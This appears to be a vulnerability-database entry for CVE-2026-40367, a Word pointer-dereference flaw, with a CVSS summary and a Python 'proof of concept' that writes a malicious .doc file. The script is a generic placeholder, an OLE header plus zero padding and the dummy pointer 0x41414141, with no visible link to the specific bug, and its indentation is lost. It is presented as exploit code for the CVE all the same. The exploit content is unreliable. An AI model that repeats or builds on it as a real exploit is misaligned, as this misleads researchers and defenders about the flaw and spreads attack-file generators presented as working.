Untrusted pointer dereference in Microsoft Office Word allows an unauthorized attacker to execute code locally.
CVSS Details
CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office Word (具体受影响版本请参考微软安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual Proof of Concept generator for CVE-2026-40367
# It demonstrates how to craft a file structure that triggers the untrusted pointer dereference.
import struct
def generate_malicious_doc(filename):
# Header for a generic Office file format (simplified)
header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE header
# Constructing a payload with a malicious pointer
# Offset 0x100 usually contains critical structure pointers
# We inject an invalid or controlled address (e.g., 0x41414141)
malicious_pointer = struct.pack('<I', 0x41414141)
# Padding to reach the vulnerable structure offset
padding = b'\x00' * 0xF8
# Combine data
data = header + padding + malicious_pointer
with open(filename, 'wb') as f:
f.write(data)
print(f"[+] Malicious file '{filename}' generated successfully.")
print(f"[+] Attempting to open with Microsoft Word may trigger the vulnerability.")
if __name__ == "__main__":
generate_malicious_doc("cve_2026_40367_poc.doc")